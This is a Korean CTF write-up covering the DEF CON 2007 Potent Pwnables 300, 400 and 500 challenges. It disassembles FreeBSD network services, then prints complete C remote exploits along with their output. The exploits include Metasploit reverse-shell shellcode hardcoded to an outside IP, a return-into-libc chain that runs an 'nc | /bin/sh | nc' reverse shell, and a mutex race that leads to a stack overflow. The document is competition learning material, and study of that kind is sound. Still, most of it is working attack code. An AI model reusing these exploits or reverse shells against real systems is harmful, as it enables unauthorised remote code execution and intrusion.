======================================================================================= Title: Defcon CTF 2007 Potent Pwnables 300, 400, 500 문제 해설 Author : 유동훈 (Xpl017Elz) in INetCop E-mail : szoahc@hotmail.com Home: http://x82.inetcop.org Date: f.2007/06/05 s.2007/06/08 ======================================================================================= P.S: 안녕하세요~ 지인의 부탁으로 대회 중 Potent Pwnables 문제를 접해서 풀어보게 되었습니다. 안타깝게도 대회에 참가할 수 없는 개인적인 사정 때문에 다른 문제들을 접해보진 못했습니다. 시간적 여유가 된다면 Potent Pwnables 500도 조만간 분석해서 올리도록 노력하겠습니다. P.S2 [추가 부분]: 아쉽게 다른 곳에 pwnage500 풀이가 올라온 것을 발견하고 저도 부랴부랴 작성해보았습니다. 주말에 작업해볼 예정이었는데, T_T 어쨌든 저도 서둘러 올려봅니다. * Potent Pwnables 300 FreeBSD remote exploit 입니다. pwnage300은 read() 함수를 통해 사용자에게 10byte의 입력을 받고, 그 해당 코드를 실행하는 역할을 합니다. debug하기 어렵도록 signal alarm을 통해 잔머리를 써뒀더군요. 이것 역시 잔머리로 수정하여 debug가 가능합니다. 해당 부분 코드입니다. -- 8048d9a: 6a 0e push $0xe 8048d9c: e8 67 fc ff ff call 8048a08 8048da1: 83 c4 10 add $0x10,%esp 8048da4: 83 ec 0c sub $0xc,%esp 8048da7: 6a 02 push $0x2 // 굉장히 인색하네요. 8048da9: e8 ba fb ff ff call 8048968 ... -- socket 초기화 후에 fork(), accept()를 거쳐 취약한 함수를 호출하게 됩니다. -- 8048dae: 83 c4 10 add $0x10,%esp 8048db1: 83 ec 0c sub $0xc,%esp 8048db4: ff 75 f0 pushl 0xfffffff0(%ebp) 8048db7: e8 48 00 00 00 call 8048e04 // 취약 함수 호출. -- 취약점이 있는 함수를 분석해보면, -- // mmap() 호출을 통해 실행할 코드를 입력받는 루틴 시작 8048e16: 6a 00 push $0x0 8048e18: 6a ff push $0xffffffff 8048e1a: 68 11 10 00 00 push $0x1011 8048e1f: 6a 07 push $0x7 8048e21: 68 00 10 00 00 push $0x1000 8048e26: 68 00 60 04 08 push $0x8046000 8048e2b: e8 08 fb ff ff call 8048938 // mmap(0x08046000,0x1000,0x7,0x1011,0xffffffff,0); ... 8048e64: 6a 0a push $0xa 8048e66: ff 75 f8 pushl 0xfffffff8(%ebp) 8048e69: ff 75 08 pushl 0x8(%ebp) 8048e6c: e8 a7 fb ff ff call 8048a18 // read(sock,0x0804600,10); ... 8048e8d: 8b 45 f8 mov 0xfffffff8(%ebp),%eax 8048e90: 89 45 f4 mov %eax,0xfffffff4(%ebp) 8048e93: 8b 45 f4 mov 0xfffffff4(%ebp),%eax 8048e96: ff d0 call *%eax // 입력받은 코드 실행 8048e98: 89 45 f0 mov %eax,0xfffffff0(%ebp) 8048e9b: 83 ec 04 sub $0x4,%esp 8048e9e: 6a 04 push $0x4 8048ea0: 8d 45 f0 lea 0xfffffff0(%ebp),%eax 8048ea3: 50 push %eax 8048ea4: ff 75 08 pushl 0x8(%ebp) 8048ea7: e8 dc fa ff ff call 8048988 // 친절하게 코드 실행 결과를 write로 리턴 -- C로 재작성해보면, -- int vuln(int sock){ ... res=mmap(0x08046000,0x1000,0x7,0x1011,0xffffffff,0); if(res==-1){ perror("mmap error"); exit(...); } res=read(sock,0x0804600,10); if(res==-1){ error_function("ERROR reading from socket"); } res=*0x0804600(); write(sock,&res,4); ... } -- 보시다시피 mmap() 으로 맵핑된 공간 0x08046000에 코드 10byte를 올려두고 실행하는 간단한 구조입니다. call *%eax에 의해 호출되는 10byte 코드를 통해 read() 함수가 입력받는 크기를 조작할 수 있습니다. -- #1 8048e64: 6a 0a push $0xa #2 8048e66: ff 75 f8 pushl 0xfffffff8(%ebp) #3 8048e69: ff 75 08 pushl 0x8(%ebp) #4 8048e6c: e8 a7 fb ff ff call 8048a18 // read(sock,0x0804600,10); -- #1번에서 read() 함수의 세 번째 인자인 입력 크기를 설정하죠. 이 부분을 우리의 코드로 대처하면 됩니다. %eax 레지스터는 call 될 것이기 때문에 0x08046000 주소가 있겠죠. 이것을 stack에 push 하고 #2번을 수행하면 어떻게 될까요? -- push %eax (0x08046000) push 0x08046000 push sock; call read(); // read(sock,0x08046000,1345004448); -- 우리는 이렇게 read() 함수의 3번째 인자를 조작하여 0x08046000 즉, 1345004448byte 입력 가능하게 만들 수 있습니다. 결론적으로 10byte 공격 코드는 다음과 같습니다. -- "\x50" // push %eax "\x68\x66\x8e\x04\x08" // push $0x08048e66 #2 번으로 가기 위해. "\xc3" // ret (pop %eip) "\x82\x82\x82" // 10byte를 맞춰주기 위한 pad -- 다음은 exploit 입니다. -- /* ** ** 0x82-eat_pwnage300.c - Potent Pwnables 300 remote exploit by x82 ** ** pwnage300 exploit: -- ** [x82@x0x x82]$ nc -l -p 8282 ** /bin/sh -i ** sh: can't access tty; job control turned off ** $ id ** uid=2002(pwnage300) gid=2002(pwnage300) groups=2002(pwnage300) ** $ cat /home/pwnage300/key ** ViAgR@ 4 ur shellcode ** $ exit ** [x82@x0x x82]$ ** -- ** */ #include #include #include #include #include #include int main(int argc,char *argv[]){ unsigned char janmury[]= "\x50" // push %eax read() 함수의 세 번째 인자를 0x08046000(%eax) 만큼 받게 만듬. "\x68\x66\x8e\x04\x08" // push $0x08048e66 read() 호출부로 넘어갈 준비 "\xc3" // ret (pop %eip) read() 호출부 주소로 리턴 "\x82\x82\x82" // pad /* 0x08048e66: pushl 0xfffffff8(%ebp) 0x08048e69: pushl 0x8(%ebp) 0x08048e6c: call 8048a18 read(sock,0x0804600,10); 이렇게 리턴하면, 10byte를 3번째 인자로 쓰던 코드 대신에 1345004448 (0x08046000)만큼 입력받도록 만들 수 있으므로, 큰 shellcode 입력이 가능해 짐. read(sock,0x08046000,1345004448); */ ; /* 8282번으로 접속하는 metasploit 리버스 쉘코드 (쉘코드 만들 시간이 없어서 -_ㅠ) */ /* bsd_ia32_reverse - LHOST=221.154.133.30 LPORT=8282 Size=92 Encoder=PexFnstenvSub http://metasploit.com */ unsigned char scode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x29\xc9\x83\xe9\xef\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x0b" "\xe2\x2e\xc3\x83\xeb\xfc\xe2\xf4\x61\x83\x76\x5a\x59\xa0\x7c\x81" "\x59\x8a\xf3\x59\x8e\xfc\xe3\x43\x63\xf2\x2c\xe3\x51\x6b\xcf\xa9" "\x1b\xb3\x7e\x92\x9c\x88\x4c\x9b\xc6\x62\x44\xc1\x52\x52\x74\x92" "\x5c\xb3\xe3\x43\x42\x9b\xd8\x93\x63\xcd\x01\xb0\x63\x8a\x01\xa1" "\x62\x8c\xa7\x20\x5b\xb6\x7d\x90\xbb\xd9\xe3\x43"; struct hostent *se; struct sockaddr_in saddr; int sock; int i; printf("\nPotent Pwnables 300 remote exploit by x82\n\n"); if(argc<3){ printf("Usage: %s [host] [port]\n",argv[0]); exit(-1); } se=gethostbyname(argv[1]); if(se==NULL){ return -1; } sock=socket(AF_INET,SOCK_STREAM,0); if(sock==-1){ return -1; } saddr.sin_family=AF_INET; saddr.sin_port=htons(atoi(argv[2])); saddr.sin_addr=*((struct in_addr *)se->h_addr); bzero(&(saddr.sin_zero),8); i=connect(sock,(struct sockaddr *)&saddr,sizeof(struct sockaddr)); if(i==-1){ return -1; } // 공격 대상 바이너리에서 alarm의 인자를 0xff로 수정하면 디버깅이 가능. // sleep(10); send(sock,janmury,strlen(janmury),0); send(sock,scode,strlen(scode),0); close(sock); } /* eoc */ -- 공격 결과: -- [x82@x0x x82]$ nc -l -p 8282 /bin/sh -i sh: can't access tty; job control turned off $ id uid=2002(pwnage300) gid=2002(pwnage300) groups=2002(pwnage300) $ cat /home/pwnage300/key ViAgR@ 4 ur shellcode $ exit [x82@x0x x82]$ -- 그리 어렵지 않은 문제였습니다. * Potent Pwnables 400 이 문제 역시, FreeBSD remote 공격입니다. 정말 아쉽게도 대회 당시에는 문제 구경조차 하지 못했습니다. 나중에 지인을 통해 바이너리 받아와서 분석 후 exploit 해본 것입니다. pwnage400은 FreeBSD remote stack overflow 입니다. 이번 문제는 return-into-libc로 풀었습니다. 여기 저기에 함정이 좀 있었기 때문에 (의도된 것인지는 모르겠음) 문제를 푸는데 시간 낭비가 있었을 것 같습니다. 마찬가지로 signal을 통해 alarm(5)를 설정하여 5초 동안만 통신할 수 있도록 구성되어 있습니다. -- 80493fa: 6a 05 push $0x5 80493fc: e8 fb f4 ff ff call 80488fc -- 다음은 pwnage400에서 중요 부분을 보기 쉽게 재구성 해본 것입니다. 흐름과 관련 없는 함수는 과감히 생략하였습니다. -- 0x0804947c(int sock,char *buf,int size){ int i=0; if(size){ do{ res=read(sock,buf+i,size-i); if(res<=0){break;} i+=res; } while(i1023){ ... getpwnam(esi); ... } } if(eax==0x00000006){ // 그 밖의 overflow가 발생하는 파트들. if(*(edi+4)==4){ ... getpwuid(ebp-1260); ... } } if(eax==0x00000007){ // #3번 파트: mmap으로 4096 바이트를 채움. "rw" (PROT_READ|PROT_WRITE) if(*(edi+4)<=4096){ eax=mmap(0xbfbdf000, 4096, 3, 4112, -1, 0); edx=eax; eax=0x0804947c(sock,edx,*(edi+4)); ... sprintf(); } } ... } ... } -- 삽질(?)을 줄이기 위해, #1번 파트와, #2번, #3번 파트를 중점적으로 분석해보겠습니다. #1번 파트: -- 8048c7b: 6a 08 push $0x8 8048c7d: 8d bd 80 fb ff ff lea 0xfffffb80(%ebp),%edi 8048c83: 57 push %edi 8048c84: ff 75 08 pushl 0x8(%ebp) 8048c87: e8 f0 07 00 00 call 804947c -- read() 함수를 통해 클라이언트에게 총 8byte를 입력받습니다. +------------+------------+ | type 4byte | size 4byte | +------------+------------+ |<------ 총 8byte ------->| type은 eax(ebp-1152 or edi) 위치에 담기며, size는 edi+4 위치가 됩니다. 앞서 입력받은 type이 0x00000003이면, 다음의 #2번 파트 내용이 호출됩니다. #2번 파트: -- 8048f28: 6a 04 push $0x4 8048f2a: 8d b5 54 fb ff ff lea 0xfffffb54(%ebp),%esi 8048f30: 56 push %esi 8048f31: ff 75 08 pushl 0x8(%ebp) 8048f34: c7 85 54 fb ff ff 00 movl $0x0,0xfffffb54(%ebp) 8048f3b: 00 00 00 8048f3e: e8 39 05 00 00 call 804947c ... 804906f: 83 ec 0c sub $0xc,%esp <<------------------+ 8049072: ff 75 08 pushl 0x8(%ebp) | 8049075: e8 ae fb ff ff call 8048c28 | ... | 8049086: 3b 9d 54 fb ff ff cmp 0xfffffb54(%ebp),%ebx | 804908c: 7c e1 jl 804906f ----+ 입력받은 만큼 호출 반복 ... -- 위 코드를 보면, read로 4byte 정도를 더 받는데, 이때 입력받은 크기만큼 vuln() 함수를 반복 호출할 수 있게 됩니다. 바로 이 점을 이용하면, stack을 크게 키울 수 있습니다. exploit에서는, 총 95번 정도 vuln()을 호출하여, stack을 키웁니다. 이렇게 무작정 stack을 키우는 이유는 무엇일까요...? 그것은 바로 다음 #3번 파트의 mmap() 함수 때문입니다. #3번 파트: -- 8048d0b: 81 7f 04 00 10 00 00 cmpl $0x1000,0x4(%edi) // 4096까지 입력 가능 8048d12: 0f 87 1b 04 00 00 ja 8049133 ... 8048d1b: 6a 00 push $0x0 8048d1d: 6a ff push $0xffffffff 8048d1f: 68 10 10 00 00 push $0x1010 8048d24: 6a 03 push $0x3 8048d26: 68 00 10 00 00 push $0x1000 8048d2b: 68 00 f0 bd bf push $0xbfbdf000 8048d30: e8 a7 fb ff ff call 80488dc // mmap 호출 8048d35: 83 c4 20 add $0x20,%esp ... 8048d49: ff 77 04 pushl 0x4(%edi) 8048d4c: 52 push %edx 8048d4d: ff 75 08 pushl 0x8(%ebp) 8048d50: e8 27 07 00 00 call 804947c -- 위 mmap() 코드는 0xbfbdf000 위치부터 4096byte를 "rw" (PROT_READ|PROT_WRITE) 권한으로 설정합니다. 앞서 type과 함께 입력했던 size를 0x1000(4096)으로 입력했다면, 그 크기만큼 데이터를 추가로 더 입력할 수 있습니다. 비로소, stack을 키운 이유가 확실해졌네요. 우리는 이렇게 최대 4096byte가 입력 가능한 조건을 이용하여 exploit을 시도할 수 있습니다. 즉, #2번 파트를 총 95번 수행하여, 0xbfbdf000~0xbfbe0000 위치 내에 프레임을 생성했다고 가정한다면, 이렇게 할당된 프레임보다 약 4배 정도 더 큰 크기의 입력이 가해지게 되므로, overflow가 발생하게 되는 것입니다. vuln() 함수 초기 프롤로그: -- 8048c2c: 56 push %esi 8048c2d: 53 push %ebx 8048c2e: 81 ec 40 05 00 00 sub $0x540,%esp -- 확인해본 결과, 확실히 할당된 프레임보다 큰 것을 알 수 있습니다. 지금까지의 내용을 코드로 정리해보면, +----------------------------+ | 0x00000003 (type) | +----------------------------+ | 0x00000000 (size) |: 무시 +----------------------------+ | 0x00000001 (count) |: vuln() 함수 호출 횟수 - 추가 4byte 입력 +----------------------------+ | 위 12byte 코드를 95번 반복 | ... ... +----------------------------+ | 0x00000007 (type) | +----------------------------+ | 0x00001000 (size) |: 4096byte +----------------------------+ | 여기서부터, 4096byte 시작... +----------------------------+ 이 코드를 입력받는 pwnage400의 호출 구조는 다음과 같습니다. -- for(i=0;i<95;i++){ read(sock,type,4); /* 0x00000003 */ read(sock,size,4); /* 0x00000000 */ read(sock,count,4); /* 0x00000001: 단 1번씩만 호출 (물론, 이것을 95번 반복) */ } read(sock,type,4); /* 0x00000007 */ read(sock,size,4); /* 0x00001000 - 4096 */ read(sock,data,4096); -- 앞서 mmap() 함수에 의해 stack 실행 권한이 없어졌다 가정하고, return-into-libc 기법으로 공격하면 비교적 쉽게 exploit을 성공할 수 있습니다. 완성된 공격 코드 구조: +----------------------------+ | 0x00000003 (type) | +----------------------------+ | 0x00000000 (size) | +----------------------------+ | 0x00000001 (count) | +----------------------------+ | 위 12byte 코드를 95번 반복 | ... ... +----------------------------+ | 0x00000007 (type) | +----------------------------+ | 0x00001000 (size) | +----------------------------+ | dummy 4byte |: 0xbfbdf000 +----------------------------+ | 실행할 명령 입력 |: 0xbfbdf004 +----------------------------+ | align을 위한 pad 입력 |: 이 입력에 따라, align이 바뀌므로 매우 중요한 역할임. +----------------------------+ | system() address |: 여기서 부터 return-into-libc code 반복 +----------------------------+ | dummy 4byte | +----------------------------+ | 명령 위치 주소: 0xbfbdf004 | +----------------------------+ | 위 12byte return-into-libc 코드를 342번 반복 (총 4104byte) ... exploit은 다음과 같습니다. -- /* ** ** 0x82-sux_pwnage400.c - Potent Pwnables 400 remote exploit by x82 ** ** pwnage400 exploit: -- ** [x82@x0x x82]$ nc -l -p 8282 ** whoami ** ** [x82@x0x x82]$ nc -l -p 8283 ** pwnage400 ** -- ** */ #include #include #include #include #include #include int main(int argc,char *argv[]){ int index=0; unsigned char do_ex[8192]; char ex_cmd[]="nc 221.154.133.40 8282" /* input 포트 */ "|/bin/sh|" "nc 221.154.133.40 8283;" /* output 포트 */ "x82x82x82"; /* pad: 명령어 크기에 따라 align을 맞춰주기 위해 */ struct hostent *se; struct sockaddr_in saddr; int sock; int i; memset((char *)do_ex,0,sizeof(do_ex)); printf("\nPotent Pwnables 400 remote exploit by x82\n\n"); if(argc<3){ printf("Usage: %s [host] [port]\n",argv[0]); exit(-1); } se=gethostbyname(argv[1]); if(se==NULL){ return -1; } sock=socket(AF_INET,SOCK_STREAM,0); if(sock==-1){ return -1; } saddr.sin_family=AF_INET; saddr.sin_port=htons(atoi(argv[2])); saddr.sin_addr=*((struct in_addr *)se->h_addr); bzero(&(saddr.sin_zero),8); i=connect(sock,(struct sockaddr *)&saddr,sizeof(struct sockaddr)); if(i==-1){ return -1; } //sleep(10); // 공격 대상 바이너리에서 alarm의 인자를 0xff로 수정하면 디버깅이 가능. printf(" [1] make stack frame\n"); for(index=0,i=0;i<95;i++){ // stack을 키움 *(long *)&do_ex[index]=0x00000003; /* type: 3 */ index+=4; *(long *)&do_ex[index]=0x00000000; /* size: 0 */ index+=4; *(long *)&do_ex[index]=0x00000001; /* count: 1 */ index+=4; } printf(" [2] location: %p, call mmap();\n",0xbfbdf000); *(long *)&do_ex[index]=0x00000007; /* type: 7 */ index+=4; printf(" [3] input size: %d\n",0x1000); *(long *)&do_ex[index]=0x00001000; /* size: 4096 */ index+=4; //0xbfbdf000: 해당 위치에 넣어짐. *(long *)&do_ex[index]=0x82828282; /* dummy 4byte */ index+=4; //0xbfbdf004: 이 주소에 리버스 커넥트 명령을 삽입 printf(" [4] make reverse connect command\n"); sprintf(do_ex+index,"%s",ex_cmd); index+=strlen(ex_cmd); *(long *)&do_ex[index++]=0x00; printf(" [5] make return-into-libc code\n"); for(i=0;i<342;i++){ *(long *)&do_ex[index]=0x28095b08; /* system() 주소 */ index+=4; *(long *)&do_ex[index]=0x82828282; /* dummy */ index+=4; *(long *)&do_ex[index]=0xbfbdf004; /* 앞서, 입력한 명령 주소 */ index+=4; } printf(" [6] send exploit.\n"); write(sock,do_ex,index); printf(" [*] 1sec wait plz\n\n"); sleep(1); close(sock); } /* eoc */ -- 공격 결과: -- [x82@x0x x82]$ nc -l -p 8282 whoami [x82@x0x x82]$ nc -l -p 8283 pwnage400 -- 위의 공격 결과와 같이 원격에서 return-into-libc 리버스 커넥팅 방법으로 shell을 띄울 수 있었습니다. 라이브러리 버전에 따라, system() 주소는 변경될 수 있으며, 입력하는 명령어 크기나 가변적인 stack 위치에 따라 pad 값을 달리하여 넣을 수 있습니다. * Potent Pwnables 500 pthread mutex 공유 데이터 하이젝킹을 통한 FreeBSD remote stack overflow 문제입니다. pthread_mutex_lock()과 pthread_mutex_unlock()은 잠금과 해제 역할을 하는 함수로써, 특정 쓰레드만 접근 가능하도록 데이터를 잠거나(hold) 해제(release)하여 공유 데이터를 보호할 수 있습니다. 제일 먼저, 12345번 포트로 접속하면 rand() 함수를 통해 29999~40000 사이 포트를 임의로 bind 하는 것을 볼 수 있습니다. 다음과 같이 친절하게 해당 포트를 16진수로 출력해주고 있네요. -- $ nc 221.154.133.36 12345 95F1 -- 이 상태에서 random하게 bind된 해당 포트로 접속하면, pthread를 생성하여 사용자의 입력을 받습니다. 이에 해당하는 pthread 핸들링 함수를 C로 재구성하여 분석해보면 다음과 같습니다. -- // pthread 핸들링 함수 내용: ... pthread_mutex_lock(0x0804c5e0); // #1번 파트: 0x0804c600 위치를 현재 쓰레드만 접근하도록 lock. memset(0x0804c600,0,1280); ... read(sock,0x0804c600,1280); // 1280byte를 입력받음. ... if(0x0804912c(0xffffff68(%ebp),0xffffffc8(%ebp)) == 1) { // 취약 함수로 진입 write(sock,0xffffffc8(%ebp),20); pthread_mutex_unlock(0x0804c5e0); } else { write(sock,0x0804c600,20); pthread_mutex_unlock(0x0804c5e0); } close(sock); pthread_exit(0); } 0x0804912c(..., ...){ char buf[520]; ... if(strlen(0x0804c600)<=499){ // #2번 파트: 입력 데이터가 499보다 작거나 같은 경우 0x080493fc(0x8(%ebp)); // unlock 수행 함수 호출 후 strcpy(buf,0x0804c600); // 문자열 복사 함수 호출 ... } 0x080493fc(...){ int i; for(i=0;i<=99999;*(&i=*(&i)+1)){ // 표현하기 귀찮아서 필요없는건 전부 생략했음 -_-;; pthread_mutex_unlock(0x0804c5e0); // #3번 파트: 공유데이터 unlock 반복. } } -- 다른 작업 없이 주요 세 파트만 살펴보면 쉽게 해답을 찾을 수 있습니다. #1번 파트: -- ... 80491f2: 83 ec 0c sub $0xc,%esp 80491f5: 68 e0 c5 04 08 push $0x804c5e0 80491fa: e8 61 fb ff ff call 8048d60 // pthread_mutex_lock(0x804c5e0); 80491ff: 83 c4 10 add $0x10,%esp 8049202: 83 ec 04 sub $0x4,%esp 8049205: 68 00 05 00 00 push $0x500 804920a: 6a 00 push $0x0 804920c: 68 00 c6 04 08 push $0x804c600 8049211: e8 8a fa ff ff call 8048ca0 // memset(0x804c600,0,0x500); ... 804922f: 68 00 05 00 00 push $0x500 8049234: 68 00 c6 04 08 push $0x804c600 8049239: ff 75 f4 pushl 0xfffffff4(%ebp) 804923c: e8 ff fa ff ff call 8048d40 // read(sock,0x804c600,0x500); -- 우선, lock 되는 해당 위치는 memset() 초기화 후, read() 함수에 의해 1280byte의 데이터가 입력되는 heap 공간입니다. -- (gdb) x 0x804c5e0 0x804c5e0 : 0x0804e600 (gdb) -- 해당 위치는 쓰레드의 공유 데이터 영역으로 사용됩니다. #2번 파트: -- ... 804912c: 55 push %ebp 804912d: 89 e5 mov %esp,%ebp 804912f: 81 ec 18 02 00 00 sub $0x218,%esp // 536 8049135: 83 ec 0c sub $0xc,%esp 8049138: 68 00 c6 04 08 push $0x804c600 804913d: e8 3e fc ff ff call 8048d80 // strlen(0x804c600); ... 8049145: 3d f3 01 00 00 cmp $0x1f3,%eax ... 804914f: ff 75 08 pushl 0x8(%ebp) 8049152: e8 a5 02 00 00 call 80493fc // 0x80493fc(0x8(%ebp)); 8049157: 83 c4 10 add $0x10,%esp 804915a: 83 ec 08 sub $0x8,%esp 804915d: 68 00 c6 04 08 push $0x804c600 8049162: 8d 85 f8 fd ff ff lea 0xfffffdf8(%ebp),%eax // %ebp-520 결국, 버퍼는 520byte 8049168: 50 push %eax 8049169: e8 72 f9 ff ff call 8048ae0 // strcpy(buf,0x804c600); -- 우선, #2번 파트 진입 직후 strlen() 함수 호출을 통해 입력된 공유 데이터의 길이를 확인합니다. 데이터의 크기가 499byte 보다 작거나 같다면 정상적으로 수행됩니다. 0x80493fc() 함수는 #3번 파트에서 분석해보도록 하고 그 이후, strcpy() 함수를 통해 520byte 크기의 배열에 공유 데이터를 복사하는 것을 볼 수 있습니다. 다음은 취약점의 핵심이 되는 #3번 파트 내용입니다. #3번 파트: -- ... 80493fc: 55 push %ebp 80493fd: 89 e5 mov %esp,%ebp 80493ff: 83 ec 08 sub $0x8,%esp 8049402: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp) 8049409: 81 7d fc 9f 86 01 00 cmpl $0x1869f,0xfffffffc(%ebp) // 99999번 반복. ... 804941b: 50 push %eax 804941c: e8 ef 16 00 00 call 804ab10 -+ ... | 804ab10: 55 push %ebp <-------------------------------------+ ... 804ab24: 75 1b jne 804ab41 -+ ... | 804ab41: 8b 45 08 mov 0x8(%ebp),%eax <---------------------------+ 804ab44: c7 00 00 00 00 00 movl $0x0,(%eax) 804ab4a: 83 ec 0c sub $0xc,%esp 804ab4d: 68 e0 c5 04 08 push $0x804c5e0 804ab52: e8 79 e2 ff ff call 8048dd0 -- #3번 파트는 대충 훑어봐도 수상한 함수임을 한눈에 알 수 있습니다. 일부러 루프를 99999번 반복해서 쓰레드 수행 속도를 늦추는 듯 보이구요. 특히, 반복 호출되는 pthread_mutex_unlock() 함수는 다른 쓰레드가 0x0804c600에 위치한 공유 데이터를 핸들링할 수 있도록 만들어줍니다. 현재의 수행 위치는 strlen() 함수 호출 이후, strcpy() 함수가 수행되기 직전 상태입니다. 이 때 만일 다른 쓰레드를 통해 unlock 상태인 공유 데이터의 내용과 크기를 변경한다면 어떻게 될까요? 이는 결과적으로, 앞서 할당된 #2번 파트 프레임의 520byte 공간보다 더 큰 문자열을 입력할 수 있게 될 것입니다. 공격 시나리오를 구성해보면, 먼저 12345번으로 접속하여 random으로 bind되는 포트를 받고 해당 포트에 두 개의 소켓을 통해 접속한 후, 첫 번째 쓰레드가 #3번 파트까지 도달할 수 있도록 499byte 이하의 데이터를 입력해줍니다. 이를 통해 첫 번째 쓰레드는 #3번 파트 루프까지 무난히 넘어올 수 있습니다. #3번 파트의 루프가 반복되면서 mutex를 unlock할 동안, 접속해두었던 다른 쓰레드로 공유 데이터에 접근합니다. 여기서, 첫 번째 쓰레드의 strcpy() 함수가 먼저 호출되는 일이 없도록 데이터를 빠르게 핸들링 해주는 것이 공격의 주 포인트라 할 수 있습니다. 하이젝킹한 공유 데이터에는 다음과 같은 stack overflow 공격 코드를 구성해줍니다. 두 번째 쓰레드 접속 시, 보내는 공격 코드: <---------- 520byte -----------><- 8byte -> +------+-----+-----------+-----+-----+-----+ | XXXX | NOP | shellcode | PAD | ebp | ret | +------+-----+-----------+-----+-----+-----+ 위와 같이 구성하는 이유는, retutn address 뒤로 데이터가 들어갈 경우, %eax 레지스터가 망가져 버리는 일이 발생하기 때문입니다. 결국 첫 번째 쓰레드 수행 중(0x804a7e8 위치) 프로그램이 종료되는 문제가 발생하므로, return address 까지 총 528byte만 입력합니다. 작성된 exploit은 다음과 같습니다. -- /* ** ** 0x82-dogfight_pwnage500 - Potent Pwnables 500 remote exploit by x82 ** ** exploit: -- ** [x82@x0x x82]$ ./0x82-dogfight_pwnage500 quals07 12345 ** ** Potent Pwnables 500 remote exploit by x82 ** ** [+] random port: 32743 ** [+] default brute-force count: 20 ** [*] exploit end. ** ** [x82@x0x x82]$ ** -- ** result: -- ** [x82@x0x x82]$ nc -l -p 8282 ** whoami ** pwnage500 ** exit ** -- ** */ #include #include #include #include #include #include unsigned char scode[] = /* bsd_ia32_reverse - LHOST=221.154.133.30 LPORT=8282 Size=92 Encoder=PexFnstenvSub http://metasploit.com */ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x29\xc9\x83\xe9\xef\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x0b" "\xe2\x2e\xc3\x83\xeb\xfc\xe2\xf4\x61\x83\x76\x5a\x59\xa0\x7c\x81" "\x59\x8a\xf3\x59\x8e\xfc\xe3\x43\x63\xf2\x2c\xe3\x51\x6b\xcf\xa9" "\x1b\xb3\x7e\x92\x9c\x88\x4c\x9b\xc6\x62\x44\xc1\x52\x52\x74\x92" "\x5c\xb3\xe3\x43\x42\x9b\xd8\x93\x63\xcd\x01\xb0\x63\x8a\x01\xa1" "\x62\x8c\xa7\x20\x5b\xb6\x7d\x90\xbb\xd9\xe3\x43"; int random_port=0; unsigned char buf[2000]; int setsock(char *host,int port){ struct hostent *se; struct sockaddr_in saddr; int sock; int i; se=gethostbyname(host); if(se==NULL){ return -1; } sock=socket(AF_INET,SOCK_STREAM,0); if(sock==-1){ return -1; } saddr.sin_family=AF_INET; saddr.sin_port=htons(port); saddr.sin_addr=*((struct in_addr *)se->h_addr); bzero(&(saddr.sin_zero),8); i=connect(sock,(struct sockaddr *)&saddr,sizeof(struct sockaddr)); if(i==-1){ return -1; } return sock; } int first_connect_12345(char *host,int port){ int sock; memset((char *)buf,0,sizeof(buf)); sock=setsock(host,port); buf[0]='0'; buf[1]='x'; recv(sock,buf+2,sizeof(buf)-1,0); random_port=strtoul(buf,0,0); return sock; } int first_send(int sock){ memset((char *)buf,0,sizeof(buf)); memset((char *)buf,'x',0x500); buf[499]=0; /* strlen()을 넘기기 위해 */ send(sock,buf,strlen(buf),0); return sock; } int second_send(int sock){ int i; memset((char *)buf,0,sizeof(buf)); memset((char *)buf,0,0x500); memset((char *)buf,'x',520); memcpy(buf+4,scode,strlen(scode)); i=520; *(long *)&buf[i]=0x41414141; /* frame pointer */ i+=4; *(long *)&buf[i]=0x0804c604; /* return address */ i+=4; *(long *)&buf[i]=0x0; /* eax가 망가져서, 이전까지 copy. */ i+=4; /* 이 부분 때문에 return-into-libc 기법으로는 안됨 */ send(sock,buf,i,0); return sock; } int main(int argc,char *argv[]){ int sock_num0; int sock_num1; int sock_num2; int count=0; printf("\nPotent Pwnables 500 remote exploit by x82\n\n"); if(argc<3){ printf("Usage: %s [host] [port]\n\n",argv[0]); exit(-1); } sock_num0=(int)first_connect_12345(argv[1],atoi(argv[2])); printf(" [+] random port: %d\n",random_port); #define DEF_COUNT 20 printf(" [+] default brute-force count: %d\n",DEF_COUNT); for(count=0;count<(DEF_COUNT);count++) { /* 첫 번째 쓰레드 접속 */ sock_num1=(int)setsock(argv[1],random_port); /* 두 번째 쓰레드 접속 */ sock_num2=(int)setsock(argv[1],random_port); (int)first_send(sock_num1); (int)second_send(sock_num2); memset((char *)buf,0,sizeof(buf)); recv(sock_num2,buf,sizeof(buf)-1,0); //printf("%s\n",buf); close(sock_num2); usleep(1000); memset((char *)buf,0,sizeof(buf)); recv(sock_num1,buf,sizeof(buf)-1,0); //printf("%s\n",buf); close(sock_num1); } close(sock_num0); printf(" [*] exploit end.\n\n"); exit(-1); } /* eoc */ -- 공격 결과: -- [x82@x0x x82]$ ./0x82-dogfight_pwnage500 quals07 12345 Potent Pwnables 500 remote exploit by x82 [+] random port: 32743 [+] default brute-force count: 20 [*] exploit end. [x82@x0x x82]$ -- 다른 창 결과: -- [x82@x0x x82]$ nc -l -p 8282 whoami pwnage500 exit -- 이미 pthread mutex에 대해 알고 있다면 pwnage400 보다 좀 더 쉬운 문제가 아닐까 판단됩니다. 그럼, 다들 즐거운 exploit 하세요. :-} -- By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security. MSN & E-mail: szoahc(at)hotmail(dot)com, xploit(at)hackermail(dot)com INetCop Security Home: http://www.inetcop.org My World: http://x82.inetcop.org GPG public key: http://x82.inetcop.org/h0me/pr0file/x82.k3y --